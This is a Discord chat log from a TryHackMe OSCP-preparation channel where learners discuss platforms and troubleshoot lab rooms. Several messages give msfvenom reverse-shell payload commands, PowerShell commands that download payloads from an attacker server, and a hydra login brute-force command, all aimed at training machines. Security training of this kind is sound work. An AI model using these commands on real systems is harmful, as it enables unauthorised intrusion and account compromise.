offensive-pentesting-path

[alpine peak]

That always happens

[dapper star]

people pwning the box in 10 mins because they found a vulnerability that wasn't supposed to be there

yes, but the problem is the unintended paths were so obvious it's strange they were not discovered on the testing phase

[alpine peak]

I don't personally see how HTB can make large amount of money

That could effect the testing phase

[spark iron]

They make a lot of money via recruitment

Companies pay for talent

They have a huge list of users who have proven their ability

[final vault]

^

Might be something that can be implemented on thm

[alpine peak]

But the boxes are often not real life based

[spark iron]

Yeah, we're going to trial a recruitment programme in the uk

[alpine peak]

What do they use for hosting? do they outsource?

[spark iron]

Hosting?

What do you mean?

Companies and recruitment agencies pay them to get talent.

[toxic temple]

I think they use DO

[final vault]

@alpine peak I recently asked a recruiter why they used htb. They said that though it may not be the most realistic in terms of content, it does go a long way in finding people passionate and dedicated to improving in the area

[alpine peak]

The amount of VIP servers they run can't be cheap

[spark iron]

They also got £1.3 million investment a few months ago

[alpine peak]

So yea that explains it

[toxic temple]

They get a lot of grants though

[hasty sentinel]

ive heard their infrastructure is on ESXI :))

[alpine peak]

I noticed that also lol

I was actually going to mention that

They still live in the dark ages

[spark iron]

Yeah

[toxic temple]

When my chall got accepted, they didn't even notify me

[spark iron]

That's annoying ^^

[toxic temple]

I found out when someone DMed me asking for hints

[stable geode]

You made a challenge? @toxic temple

[spark iron]

All it needed was an automated email at the least, telling you they're using your material

[toxic temple]

Yeah

[alpine peak]

Do they go by ranks? Because people sell writeups for active machines?

[toxic temple]

?

@spark iron when you submit you essentially sign an exclusivity deal

[spark iron]

Yeah I heard

[toxic temple]

Like, as soon as you hit that submit button it might as well be theirs

[spark iron]

Shame they dont compensate you, least you get credit?

At least you get credit***

[toxic temple]

For some lacking categories they might pay, but that was a small thing that I've no idea if it went anywhere

[spark iron]

Eh, oh well. It's a good platform but like all, has its flaws

[alpine peak]

offsec's system works because of the large investment put into to access the labs, and that prevents stuff like selling writeups from happening, and offsec has a large legal team as well, When you make something like machines open to the public, it creates a blackmarket for answer to improve credibility like ranks

[spark iron]

^^

[toxic temple]

https://hackers.attacked.me/DcILRSIE3NmZ.png

Yeah flag sharing is ridiculous in HTB

[alpine peak]

It lowers credibility in my eyes compared to something like offsec labs

[spark iron]

I think the way TryHackMe is being built out, we should provide beginner level material and then custom harder weekly challenges. We will have a good mixture of independent challenges and walkthroughs.

[toxic temple]

My chall was one of the easiest that they've put out yet and I had omni's DMing me for help

[spark iron]

Oh rihhtt

[toxic temple]

Omni might as well mean nothing at this point

[final vault]

Wait for real? @toxic temple

[spark iron]

Then their system is a bit flawed

[alpine peak]

Iv met omni's that have never programmed before

[toxic temple]

Yeah

[spark iron]

That's really interesting to hear

[alpine peak]

"Are you sure you're omni rank?"

[final vault]

Tbh I know a few omni who to this day I’m convinced flag shared for rank

[alpine peak]

He was

[toxic temple]

A massive flag dump for all boxes happens about once every 6 months or so

[spark iron]

Yeah, if I was 100% serious about the challenges, I'd implement randomised flags

Once I focus on more advanced stuff for thm

[alpine peak]

Stuff like that just drops the credibility, that's why I am surprised companies use that for validation

[spark iron]

I'll add it in

[alpine peak]

Its not just flag sharing, its the community, they give answers away to stop people from asking for hints over and over

[toxic temple]

The discord is something else asw

[spark iron]

Oh right hm. I'm interested to see what they do this year

Growth and all

[toxic temple]

I reckon they're gonna push into the edu space

[spark iron]

New features etc..

[alpine peak]

Perhaps migrating to cloud?

[spark iron]

Yeah probably

[alpine peak]

Offsec is doing that

[maiden aurora]

@toxic temple they already have, Uni event in a few months I think - If you are talking about HTB still

[toxic temple]

They're also picking up teachers to be "content delivery managers", whatever that means

[spark iron]

I mean it's a good move - we're doing it with hackback

Oh yeah, Shawn went into thag

That*

[toxic temple]

ye

[alpine peak]

As long as ippsec is still making videos, than I like HTB

[spark iron]

He set a meeting up with me, then never turned up and blanked all my emails.

[toxic temple]

It's fine, the school is saying that I did HackBack2 on the website when in reality I had quit at that point

[spark iron]

Out of interest, what do you want to see more of on TryHackMe?

[alpine peak]

Less walkthrough rooms

[spark iron]

Oh really?

More challenge type rooms?

[alpine peak]

Just for me personally

Yea

[spark iron]

Ok noted.

The weekly challenge is going to be like that

[alpine peak]

[toxic temple]

I thought about making meta content

Like rooms on how to make rooms

[spark iron]

We have a room guide coming out soon

[maiden aurora]

That would be helpful

[toxic temple]

I don't think I'm experienced enough to really do that though

[alpine peak]

I think thats more a Linux/Windows thing

Like Basic system administration

I just tell people to go to Red Hat or Linux foundation for that

[spark iron]

Oh ok, we look into developing a new pathway

For SysAdmin type stuff

Not sure how it would fit

Or if a Linux Basics pathway is needed

[alpine peak]

I would make that

[spark iron]

Linux Basics?

[alpine peak]

Yea

[spark iron]

Ooo

Noted.

Would have to properly map it out

[alpine peak]

https://training.linuxfoundation.org/certification/linux-foundation-certified-sysadmin-lfcs/

base it on that

[fleet wedge]

takes notes

[alpine peak]

LFCS covers service configuration

very big deal compared to the others

[final vault]

I have to agree with zayotic on the less walkthroughs

[spark iron]

Okay noted, I'll ensure the weekly challenge is less walkthroughy

[topaz yoke]

Given the amount of messages in this channel this chat is very much a success lol

I'll consider making chats for each of our major paths

[toxic temple]

ngl, when I saw that there was a new path I got excited, until I realized that there's only one room that I haven't started yet

[final vault]

@topaz yoke please organise the server a bit. Everything just gets thrown under Text Channels though stuff like cyber-advent and oscp-path could easily have a folder to hold them

my ocd dies

[topaz yoke]

I'm breaking that out once I'm back from work, I'm going to split it into a rooms category and a general category

[final vault]

Sweet ❤️

[topaz yoke]

I had considered doing it last night but held off just to confirm this channel was going to be used

[tardy basalt]

so hey, anyone have an issue with the "Using the nmap flag -n what will it not resolve?" answer not working?

lol nevermind. I can't type

[real sandal]

Type Harder

[topaz yoke]

Oh no, that's some inception-level emotes there.

[frail vine]

not a bad start today 😄

[real sandal]

Skynet done, now back to HackPark

[spark iron]

Ey, amazing

[honest jackal]

hey just joined the OSCP learning path hope its worth it! Have to retake the exam next month

[topaz yoke]

Welcome! @honest jackal

[fleet wedge]

@honest jackal you gonna crush it

[honest jackal]

hope so... lost my nerves last time it was so embarassing xD

[fleet wedge]

Sorry man :( but youve got the support of THM this time :) @honest jackal

Have a shibe of encouragement

[stable geode]

And by that Pars mean, you gonna get it this time.

[fleet wedge]

We got your back :+1:

[stable geode]

@honest jackal Don't you worry, we will help you out.

^

[honest jackal]

thx all 😄

[fleet wedge]

😄

[orchid sail]

How long does it usually take for writeups to be approved?

[alpine peak]

Depends on the room owner

[fleet wedge]

that depends on the room creator

they approve each writeup

[orchid sail]

Ahh okay thanks

[foggy heath]

Okay, i've been stuck on this for about an hour and was hoping someone could provide some assistance. I am currently working on Hack Park, I have obtained shell and in the process of attempting to elevate my privileges.

I already created my payload using msfvenom, and when I am trying to download the .exe file from my box using the powershell, the file is no where to be seen?

powershell Invoke-WebRequest -Uri http://10.8.20.76/shell2.exe -Outfile sh222.exe

is the command I used, and on my kali box running the simplehttp server, I see the 200 response from the victim box for the shell file, yet the file is nowhere to be found. What is going on?

[alpine peak]

@foggy heath ​powershell "IEX(New-Object System.Net.WebClient).Downloadfile('http://10.10.10.10/shell.exe', 'shell.exe')"

[foggy heath]

ty, I will try this when I get a chance -- I think I killed my box.

@alpine peak Still didn't seem to work -- for this command, I don't even see a response on the tab running my http server. Before I was able to see 10.10.215.78 - - [27/Jan/2020 22:26:55] "GET /shell2.exe HTTP/1.1" 200

[alpine peak]

do you have write permissions to the directory?

[foggy heath]

🤦‍♂️

end me

[alpine peak]

Why

[foggy heath]

that's probably it -- thanks

[alpine peak]

I forgot to add IEX

[foggy heath]

@alpine peak Is there an easier way for me to test if I have write permissions in a directory instead of just mkdir text?

[alpine peak]

well Accesschk exist, but I don't think its default anymore with windows

Still could transfer the binary

And I think powershell has Get-Permissions

[foggy heath]

TY, i was able to get my shell file to be uploaded -- now I know, check for permissions for write @alpine peak

[honest jackal]

Hello all, i started the path and i noticed something wrong with this question in vulnversity. If we are talking about who is actually running the web server it's not the user that is supposedly the correct answer in my opinion (i may be wrong)

[fleet wedge]

web server=/=server in this instance

web server is just whos running the web server service, in this case Apache

[alpine peak]

If I remember its asking for a user and not a service account

[foggy heath]

For the Jenkins room, I currently has a reverse shell, created my payload using msfvenom (exactly as instructed), set up my multihandler, was able to successfully move the created payload to my victim machine, but when I run it, there I don't get a shell on my listener while it's running? Any ideas on what might be the issue?

[foggy heath]

Sorry, I meant to say for the "Alfred" room

[alpine peak]

@foggy heath What command did you use to run the exe?

[foggy heath]

Start-Process "poc.exe"

[alpine peak]

what directory?

[foggy heath]

Ahh -- i'm running it from C:\Program Files (x86)\Jenkins\workspace\project>

[alpine peak]

are you the bruce user?

[foggy heath]

yes -- i'm guessing I need to move into a different directory

[alpine peak]

Try the desktop directory

[foggy heath]

Hmm, no luck~

[alpine peak]

Are you using nishang?

[foggy heath]

but I guess I should try looking around different directories. Well, I already used nishang to get my initial shell. In the steps it told me to create a msfvenom payload

which I did, I re-read everything to see if there were any typos

[alpine peak]

You don't have too, but its just easier using staged

[foggy heath]

ahh -- isee

[alpine peak]

What command did you use to download the exe

[foggy heath]

powershell "(New-Object System.Net.Webclient).Downloadfile('http://IP-address:80/poc.exe','poc.exe')"

I was able to see from my tab running the server the file was downloaded

additionally, I saw that the file was pulled onto my current directory

[alpine peak]

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4443 -e x86/shikata_ga_nai -f exe -o meterpreter.exe

did you use that command

[foggy heath]

yeah, that's exactly what I used (with the exception of the lport and the file name

ohhh

i set the payload to windows/x64/meterpreter/reverse_tcp

but I also set that same payload on my multihandler

atleast that was what was directed in the instructions

essentially this was the exact command given to generate the payload

msfvenom --platform windows -p windows/x64/meterpreter/reverse_tcp -a x64 --encoder x86/shikata_ga_nai LHOST=[IP] LPORT=[PORT] -i 3 -f exe -o [SHELL NAME].exe

[alpine peak]

Its useful if dealing with 64bit kernel exploits

[foggy heath]

which I think generate the correct payload as one of the questions asks me for the exact file size of the payload

I just systeminfo to make sure -- it machine is x64 so this payload should work against it.

[alpine peak]

I don't remember what I did

[foggy heath]

unless I am missing something~

That's fine -- i might need to hang it up for the night, i've been stuck at this part for almost good 3 hours now.

[alpine peak]

hold on

[foggy heath]

i breezed through the first steps but seem to be getting stuck here... Just to be sure, I need to setting my multi/handler to the same port I specified in my msfvenom payload

kk, i'll hold on

[alpine peak]

msfvenom -p windows/x64/meterpreter/reverse_https -f exe LHOST=10.10.10.10 LPORT=443 -o shell.exe

[foggy heath]

kk, I'll try making a payload that way

hmm, no dice

[alpine peak]

try that new command

this is strange

[foggy heath]

Yeah, i'm must be doing something wrong or have missed something small/simple .. my brain is a bit fried... maybe i'll see my mistake after some shuteye

[alpine peak]

yea

[foggy heath]

I created the new payload, adjusted my multi/handler appropriately, ran it

then executed the payload with the Start-Process file.exe command

but get nothing~

[alpine peak]

not in quotes?

[foggy heath]

sorry, I did both

in quotes first, then tried without

I would need to set my LPORT on my multi/handler as 443 correct?

[alpine peak]

yes

[foggy heath]

man... yeah, no clue what's going on. I even tried terminating/re-deploying the box thinking I missed something up the first time around

got back to the same step on the 2nd, fresh box

i've triple checked my commands/options in the payload, my IP configs, payload options~

[hasty sentinel]

@foggy heath I'm heading to work rn but I can DM you a little later?

[foggy heath]

@Ashu Is it okay if I DM you in about 6 hours? about to get some shuteye

been at this box since 9:30PST and it's past 1AM now~

[hasty sentinel]

Yep that's fine :))

[foggy heath]

Cool, thanks~ thanks @hasty sentinel and @alpine peak

night fellas

[real sandal]

I finished Jenkins last night and yeah it’s easy to make a typo somewhere and not get a meterpreter back. I should have documented this box but: make sure your exploit is built for x64, that you’re using quotes in the right places and running your commands in the right shells

[ornate sleet]

hello all,

hello all, i just start Vulnversity but i think there is an issue with deploy. I tried to deploy the machine multiple times and it shows message that the machine started but the machine never start !

[hidden rivet]

After clicking deploy (or if it still says it is already deployed), try refreshing your page and see if its information is now showing up at the top?

[ornate sleet]

after clicking deploy it shows message "Starting your machine.. please wait!" but nothing deployed. When i refresh the page then I'm able to click deploy again but unfortunately it doesn't deployed.

[hidden rivet]

I just did a quick test and it deployed for me. When you refresh and click deploy again does it say it's already deployed or the "starting your machine" message again?

[ornate sleet]

it shows the same message Starting your machine.. please wait!

[hasty sentinel]

it could be the browser

try with a different browser?

[foggy heath]

If I failed to ssh into a machine several times and it refuses my connetion from then on, is there a workout? Is there a way to figure out how long it might lock me out for, or if the lockout is permanent?

[tardy basalt]

Possible to mask/change your IP?

[foggy heath]

ahh, thanks!

[foggy heath]

Is there possibly something wrong with the metasploit box? I seem to now be able to migrate process, or even use the webcam_list command?

[hidden rivet]

I couldn’t do those either

Figured it was a problem with my metasploit framework though

[tardy basalt]

webcam_list can be blocked

[thin walrus]

What you guys thought about oscp path

By doing and complete it can it guarantee you to pass the oscp exam ?

[alpine peak]

No

[toxic temple]

Nothing can guarantee OSCP

At the end of the day you're the one taking it, nobody else is gonna do it for you

[alpine peak]

Completing the path without help from any walkthrough could increase your chances

The exam is cut throat, can't figure it out on your own? You fail

[thin walrus]

What mean it give you the understanding of how the exam looks like as similar as the path

[toxic temple]

The closest you'll get to the exam is the offsec labs

[alpine peak]

The exam machines change all the time, What I do know is that the machines are designed specifically to make the attacker understand the exploit and be able to modify it to work for the machine, and to be able to google enough to understand how it works

The PWK labs are not at all like the exam

For example: if a vulnerability exist but a public exploit relies on a specific service to obtain RCE because thats the most common use, but they want you to analyze the info you already have and be able to use that vuln in another way to gather info you know for a fact exist on the machine already.

The path was developed with this in mind so that's why I said if you root them without any help because thats the closest simulation you will get

[real sandal]

Yeah, I’m 66% done this path but the stuff you do only covers so much of the PWK syllabus

You have to use a lot of resources to "guarantee" a pass for the exam, not just this OSCP path

[alpine peak]

The path is for methodology building, thats what the PWK is for also

[real sandal]

Yup, and it's done a good job at that so far 🙂

[frail vine]

anyone else having connectivity issues?

[fleet wedge]

#site-support @frail vine

[spark iron]

@frail vine I think (if its the same user I'm talking to on Twitter), this is ok now

Ill add another OpenVPN VIP server in

[hidden rivet]

Is the OpenVPN VIP server automatic or does one need to do something to be using that server?

[frail vine]

@spark iron yeah it a me 🙂

[thin walrus]

I have a question : on oscp path challenge kenobi task 3 : why we connect using nc on port 21 , why using nc for this ftp port

[toxic temple]

you can interact with FTP servers through a command prompt

[tardy basalt]

NC can sneak some files in a a bit if remote code if a shell is set up correct, there's a few HTB machines that offer that method I believe

I have no shame using walkthroughs though. At my level I need that instruction for a bit while I can work on getting the very basics of offense/defense.

I really wish there were more machines it labs to exercise Incident Handling/Response and Threat Intel. That's the route I want to end up at but a lot of these companies I've been able to talk to are looking for a hell of a lot of experience

[thin walrus]

Need help on hackpark task 4

I already create the shell using mafvenom and i have nc session on the machine

I cant upload the shell.exe to the machine

[cloud quail]

What command did u use?

• specify the path within the command @thin walrus

[thin walrus]

I can see the log in my simplehttpserver

But the file not uploaded when i type dir

[crimson flame]

fully specify the outpath

[robust loom]

Hi, new to the server :)
I've started the OSCP PREPARATION path and noticed that "#5 What user was running the web server?" doesn't seem correct in the (question) statement. It means the user running the web server/service which is not the answer accepted as correct.

[crimson flame]

also make sure you have write privileges to the given location

[robust loom]

or is this is a known "bug"?

[crimson flame]

I don't know the answer off the top of my head, but put what you think in ||here||

here being ||||

[robust loom]

the answer 4 dots which is not the user running the web server 😉

it was the user for "#6 What is the user flag?"

I got the answer correct after some attempts but just think the question is stated incorrect for #5

[thin walrus]

@crimson flame i dont get what you mean

You can check the powershell command i did ,

Is this correct

[crimson flame]

powershell -c "Invoke-WebRequest -Uri 'http://<ip>/shell.exe' -OutFile C:\Windows\Temp\shell.exe"

not fully specifying the outfile-path can lead to some issues.
your shell could also be picked up by AV if the box has it

[thin walrus]

I linux there is no av and the shell is in my home directory

[crimson flame]

On the target machine, not yours.

[thin walrus]

193.168.1.3 is my ip local server , the target machine should not hv av ?

[hidden rivet]

They're saying you need to specify the full path of where you want the shell.exe to be placed on the remote machine

Hence the "-OutFile C:\Windows\Temp\shell.exe"

[thin walrus]

Ok great its working now after i edit the command thanks for your help

[frail vine]

hey all i posted another writeup in my series for the path

https://www.pwndefend.com/2020/02/01/tryhackme-review-part-3-circling-back/

[robust loom]

I must have google the whole internet without luck, trying to find the (MS-xx-xxx) patch for a CVE but without luck

any pointers in the direction would be nice 🙂
solved

[frail vine]

It’s in my blog @ www.pwndefend.com re CVE reference for the non metasploit one

[robust loom]

I was looking at the wrong service 😬 but thx

[wispy jacinth]

i may be crazy but i can't see the oscp path under tryhackme.com/paths

[robust loom]

it's there

[wispy jacinth]

for some reason i only see red/blue primer series like normal. nothing else is on the page

oh interesting. i had to leave the red/blue primer series to see the other paths to join one of them

[robust loom]

anyone done HackPark? I'm at Task 4 and #4 but for some reason it's not triggering

[burnt walrus]

anyone around?

have a question

[burnt walrus]

Already figured out

[burnt walrus]

again another question

anyone around

[burnt walrus]

still no one?

[stable geode]

@burnt walrus \o

[burnt walrus]

hey

[stable geode]

If you haven't figured it out yet

[burnt walrus]

yea

[stable geode]

What's up?

[burnt walrus]

can I dm

or just spit it out here

[stable geode]

Question is about?

[burnt walrus]

pscp path ICE

oscp

[stable geode]

ICE, Dark's room? I haven't done it to be honest.

[burnt walrus]

dark pc yea

[stable geode]

What's the question though?

[burnt walrus]

I cant find the version of that thing

[stable geode]

Ah, the first question?

Use ||nmap -sV -sC -A <ip>|| and analyze the output thoroughly. @burnt walrus

[burnt walrus]

ahh yea

-A

ok ok

I will check it

thnx man

[stable geode]

Sure do and let me know.

[burnt walrus]

no its not giving out the details of the port

[stable geode]

Then use that for specific port, is it 8080/8000?

@burnt walrus

[burnt walrus]

done that

still nothing

[stable geode]

Strange

Link of the room?

[burnt walrus]

https://tryhackme.com/room/ice

is there a glitch?

[stable geode]

Can you show the full output of it in DM? @burnt walrus

[burnt walrus]

alright

[frail vine]

hey everyone my latest OSCP path walkthrough is online! https://www.pwndefend.com/2020/02/02/try-hack-me-part-3-alfred/

[thin walrus]

I got it all but i left task number 2 in steel mountain action 2 , i know the file server and everything but the answer is wrong

[thin walrus]

Hn0s from rf?

[bronze zenith]

@thin walrus yes, i had problems with task 2 in steel mountain too. The answer for this question can be found if you search up CVE number in CVE database, for example cve.mitre.org

[fleet wedge]

yes

it's me

from rf

:S

@thin walrus

[thin walrus]

Where the new netsparker :p not yet sent me

Haha

[fleet wedge]

lmao i won't send anyone anymore

give a thank to leechers 🙂

[thin walrus]

Lol

@bronze zenith thanks , i think they should fix some wrong typo

Sometime i notice there is thing not clear with the question

[devout violet]

hey guys i am just starting to do the oscp prep path and i was wondering if any of you had advice on a note keeping tool.

[thin walrus]

I have suggestion since the path names is oscp the steps info and the hint and whatever there should not use metasploit , they should redo this path , most of the room i see picture and the use of metasploit

@devout violet use cherrynote

Its comes installed in kali linux

[chrome valve]

If that's Cherrytree you're meaning, then I second that. Best tool in the game

[devout violet]

i was looking it up. can i move the notes i create on usb or any other method using cherry tree.

[thin walrus]

And you can find template online type in google cherrynote oscp template

Yes

[devout violet]

FYI: i currently use keepnotes but moving the notes to another medium is kinda complicated

[chrome valve]

Depends on the format @devout violet

It can import from Keepnote, yes

[toxic temple]

joplin is pretty good too

[thin walrus]

You can import as anything most , there is option call tree then choice import

Node

Then you will find your option there

[toxic temple]

https://hackers.attacked.me/aHmXNshEu2Cb.png

[chrome valve]

I've not heard of that one @toxic temple. Does look pretty good, although I reckon Cherrytree is too ingrained for me to switch!

[devout violet]

keepnotes currently ( as far as i know) only imports to HTML. i was looking for something along the lines of notepad or word. incase i wanted to move it.

thanks for the advice...

[thin walrus]

There is good script that scan and add to cherrytree automatically

Welcome

[fleet wedge]

Tbh i really like cherrytree

but i haven't used it for a while.

[thin walrus]

Yes its good one i have create a good template for it

[fleet wedge]

yeah

but it seems that joplin is also really good 🙂

[fleet wedge]

Oh that's cool

but, i'm the only one who rarely uses notes and keep all in mind? ahahahaha

i only do those in real life works lmao

[thin walrus]

You have to put notes when you do ctf etc based on your writeup and understanding , one day you will fine it useful , it will save you time sometimes , also its make everything clear for each step

[fleet wedge]

yeah i know well

that's why on real work, i do it

[hidden rivet]

Speaking of notes, does anyone have some recommended note-taking tools they like? Rather than doing what I currently do with a directory with a notes file in it, wanting to look into something more useful for note-taking while practicing on boxes

[real sandal]

I use Notion but everyone has their own preference. CherryTree and KeepNote seem to be the popular options

I suggest going through some rooms with a tool each and see which you like

[hidden rivet]

Oh, guess I'll need to track down those rooms then!

[final vault]

cherrytree is my go to

as ESWAT mentioned there's a few different options

[hidden rivet]

I think I saw someone using cherrytree before, might see how I like it

[frail vine]

if ur a windows host user, onenote is good as well

you can use onenote from a web browser as well. I mention this as some companies use o365 to store customer data so it's a useful tool to get to know from an IRL perspective

[frail vine]

hai all! Here's part 5 of my OSCP path writeups! https://www.pwndefend.com/2020/02/03/try-hack-me-part-5-game-zone/ hope its useful to some! :lightsaberpepe:

[glass pine]

"Try upload a few file types to the server, what common extension seems to be blocked?"

How is this not guesswork?

[chrome valve]

@glass pine It's expecting you to try uploading "normal" file types. I reckon I can hazard a guess at which type it is -- probably in Vulnversity?
If that's the case, what file type would you first try to upload to get a reverse shell when you're presented with the options you have been?

[frail vine]

@glass pine you would use automatin assisted appraoches

e.g. in burp suite you would use the intruder tool to load a range of tests to check extentions

it's not guesswork per say.

much the same as you might be injection testing, you would use a combo of wordlists to attack a form then investigate response codes etc.

you can script these with python or use a tool such as ZAP or BURP

[chrome valve]

Great next step after realising there's a problem ^^
Debatable whether it's the first thing you should do when you see a file upload though.

[frail vine]

first thing...

i don't think the paths are intended as first thing

they are the route to r00t more than a teaching of the full testing process

[chrome valve]

Nah, as in, if you see a file upload, do you try uploading something first, or do you immediately open Burp and start testing it? I mean, I guess some people might -- it may even be the recommended course of action, but it's a bit overkill for answering that particular question.

Each to their own, I guess, but, whilst that's definitely the way forward for the next question, I wouldn't be reaching for it to see which common file extension is blocked.

As I said, it's totally up for debate as far as I'm concerned.

[frail vine]

ok if i see a file upload the first thing i do is try and upload a non malicious file as per a normal user would

i would then upload a second one

non malicious

i would try and work out what the storage path was at the backend

i would see if I could link directly to it

i would then try and upload different extentions

so it's very near on the what i would do path

[chrome valve]

Exactly...
You would try to upload files first. When you realise that what you're trying to is blocked, then you would enumerate it to see what extensions are not blocked.
You wouldn't use Burpsuite before trying to upload files yourself.

[tardy basalt]

Intruder for that right?

[frail vine]

intruder or repeater

intruder for using word lists or itterators etc

i would normally try not to abuse an app before i knew how it worked as well

IRL ur on production systems

just spewing payloads isn't always a great idea 😄

[thin walrus]

Great work daniel

Just feedback , dont use metasploit in the writeup , we want to make this path better and to be following oscp style , its allow ones so i hope from the admin to take this feedback seriously

[toxic temple]

It's a per box restriction, not a one time usage thing.

So you can use it as many times as you like on one single target

Side note: this page is quite good for the major PWK exam talking points https://support.offensive-security.com/oscp-exam-guide/

[frail vine]

@thin walrus you can use the handler as many times as you want. You can only just use an exploit module once etc.

if i've used a module it's likely because there wasn't a script based exploit 9soz can't remember as done lots of writeups :D)

in the PWK labs you can use MSF exploits and i try to show the routes without if they are available

(and thanks dude!)

[frail vine]

Morning all! I've got another writeup posted on this path for SkyNet! https://www.pwndefend.com/2020/02/04/try-hack-me-part-6-rise-of-the-machines/

[burnt walrus]

can anyone help me with blue

have a small thing to ask

ok got it no need

[spark iron]

^^

Noice

[honest jackal]

Hello all... What can i do when my kali remote connection freezes ?

[spark iron]

Don't select a language when it asks you

Just close the Windows

Its a known bug

Its on my to-do list to fix

I will fix it this week 🙂

[honest jackal]

i see thanks 😄

[spark iron]

😄

[zealous chasm]

Hi, Im on HackPark room, I have already get root access via a CVE however I would like to exploit the abnormal service, and Im not sure Im doing things righ :/

I have try to overwrite the binary but got a permission denied and I try to modify the registry key but without success, so am I in the good direction?

[hushed bluff]

Finishing up Blue room, but no flag2. I have terminated/deployed 3 times and followed all steps to include upgrade to meterpeter, getsystem, etc but no flag2.txt. Pretty easy to find the others with "search -f flag* -r -d"...and i see the flag2.lnk which shows actual location...but its not there. Anyone else having this issue? I even checked the write-ups and they confirm the location...but its not there after 3 reboots. Any advice from anyone? Can someone at TryHackMe confirm this room is still setup correctly or perhaps provide advice?

[topaz yoke]

@hushed bluff try it one more time. If it still isn't there (and you've double checked the writeups) let me know and I'll grab it for you since you've clearly learned the concept of what I was going for

[tardy basalt]

hey anyone else get stuck cracking the password on Blue? I have it cracked i think but it's not being accepted. Anyone wanna throw a hint my way? I'm about at my whits end (very new)

[hushed bluff]

@topaz yoke Thank you, I will run through again...actually its not been a bad experience repeating, I am getting reps on msf!

@tardy basalt I used hashcat, since john did not work right away.

with the rockyou.txt wordlist

[tardy basalt]

yeah that's what I'm using. Did you get a hex result and have to convert to ascii?

[hushed bluff]

@tardy basalt Let me DM you with some hints.

[tardy basalt]

cool

[topaz yoke]

practice is always good ❤️ @hushed bluff

[tardy basalt]

much appreciated

learned a lot just now. Thanks dude!

[honest jackal]

hello guys... those who did hackpark i have a small issue on the privesc exploit can i have a nudge plz ?

[obsidian marlin]

im still stuck on the hackpark hydra part

if anyone could give me a nudge 🙂

[burnt walrus]

anyone around?

have a question in Blue regarding flag2 and flag3

guess will move on till someone can answer it

[inland osprey]

@burnt walrus if you still need help dm

[burnt walrus]

@spark iron you online?

[spark iron]

yea

[final vault]

Skidy is actually an extremely sophisticated piece of AI technology who is always online

[burnt walrus]

lol

can I dm?

[fleet wedge]

Just @ people and post your question

this isnt HTB where help is kept secret in the DMs

We like to keep Q & A in the discord so any other people that have your issue can reference the solution

[chrome valve]

Although don't post any flags, passwords, etc. Or at least keep spoilers in the spoiler tags.

[hushed bluff]

Anyone else find 11 ports open in Kenobi? The correct answer is less, but after running the scan twice I still get 11.

[burnt walrus]

wow 11?

i didnt get that much

anyone doing the hydra part?

ran in to a problem need to verify

[hushed bluff]

@burnt walrus What room are you using hydra?

[fleet wedge]

@hushed bluff Do any of the ports show as "filtered"?

[burnt walrus]

@hushed bluff i guess its 4

hackpark

[hushed bluff]

@fleet wedge Thanks for following up. I use --open to keep the results clean. When I went back to look at the hint, I believe the intent was to not specify all ports (-p-) and let nmap default to top 1000. I ran -p- and got 11, but the correct amount for the question is all ports below 1000, or standard services.

No worries, moving on.

[dapper star]

good for you that you used -p- command, that's the best practice way to scan imo

you never know when you miss an important port only because you leave nmap default settings to do the work

[hushed bluff]

@burnt walrus I am not there yet, but have used hydra before, what is your question and I try to help

[burnt walrus]

I was wondering

im trying to crack weblogin

but the command is giving error

[hushed bluff]

is it a GET or a POST...did you review the request/response in Burp Suite?

[burnt walrus]

yea post

[dapper star]

hydra syntax might be a pain in the ass if you don't have experience with it

[hushed bluff]

totally agree

[burnt walrus]

i agree with that

it is a pain

I have tried it in different ways

[dapper star]

you can share the command here and we will try to help you with it

[burnt walrus]

hydra -l admin -P /usr/share/wordlists/rockyou.txt http://10.10.12.188 http-post-form "/Account/login.aspx?ReturnURL=%2fadmin%2f:UserName=^USER^Password=^PASS^:S=logout" -vV -f

so this is the command now Im using

its attempting now

this is gonna take a long time isnt it

oh well didnt work

[hushed bluff]

perhaps drop the url encoding around admin

it should be /admin/

right?

[burnt walrus]

hmm

[hushed bluff]

Ok, just finished kenobi...but had to use someone's writeup from PWNDEFEND.com to complete the final section since I could not understand based on the room directions...I had never used "strings" so the wording and screenshot did not connect until later. My question is: if there are two "curl" binaries (the normal one at /usr/bin/curl, and the one I created in /tmp...which is really /bin/sh) and both are in PATH...how do I know which one will execute?

Is it because I ran /usr/bin/menu from /tmp? I guess this is a question of the logic of PATH and how binaries are executed.

[hushed bluff]

@burnt walrus https://null-byte.wonderhowto.com/how-to/hack-like-pro-crack-online-web-form-passwords-with-thc-hydra-burp-suite-0160643/

kali > hydra -L <username list> -p <password list> <IP Address> <form parameters><failed login message>

Working on HackPark and looks like there is one URL parameter and 5 other parameters in the body of the POST request that should be used in the <form parameters> section.

[burnt walrus]

thnx @hushed bluff

[burnt walrus]

@hushed bluff doesnt work like that. I have figured it out. thnx for all the help

[obsidian marlin]

anyone have issues running powerup on steel mountain?

[dusky dust]

anyone give e a hand with dailt bugle?

its really slow

with SQLi

had it working fine yesterday but couldnt find the hash anywhere!

[real sandal]

65 pts after 10 hours. I should have done the lab report 😦

[chrome valve]

If you're still needing a hand @dusky dust, feel free to DM me with the command you're using.
Currently in the middle of a write-up for that room as well, so hopefully that will be out soon too

[quiet pagoda]

better than school

[wispy jacinth]

any guidance on daily bugle? i'm stuck where others are as well with apache shell. saw the chatter today about using linpeas over linenum, but didn't manage to find anything new with it

[chrome valve]

@wispy jacinth DM me if you're after a hand. If you'd prefer to trial the write-up I'm in the final stages of publishing, that's an option too

[wispy jacinth]

sure, if you've got something you can point to, i'll take a look

been working on it for days now in between taking breaks and thinking through stuff

[chrome valve]

That's fair. Getting user is a pain.
Gimme ten minutes to get the images in and press the publish button 👍

[wispy jacinth]

i wouldn't normally have worked to a room this high in difficulty yet, but it's in the oscp path after a handful of easy rooms with a description that remarks I should be able to do it after working through the others

maybe after some help with next steps, i'll better understand what I was supposed to have learned from the previous boxes in that part of the oscp-path to be able to tackle this room. for now though, i'm struggling connecting the dots

[chrome valve]

To be honest, this step is one you're probably going to kick yourself over. There's no big "hacking" concept you're missing. It's literally just down to closer enumeration.

[fleet wedge]

yeah, just take more time, read. Might be a little tedious, but youll get there

[wispy jacinth]

dang, not what i wanted to hear. i wanted to hear how it required writing custom c to overflow a buffer in vestigial code from '92

[chrome valve]

Hehe. Nope -- no such luck I'm afraid. Here's a hint though (without spoiling it totally) ||take a look in /var/www/html -- the webserver has something to offer||

[wispy jacinth]

ok, i think i may know what you're referring to

and i've already got that string

but...that's just for the backend?

[chrome valve]

Is it though? Is it really? 😁

There's a lesson to be learnt here: don't reuse your passwords...

[wispy jacinth]

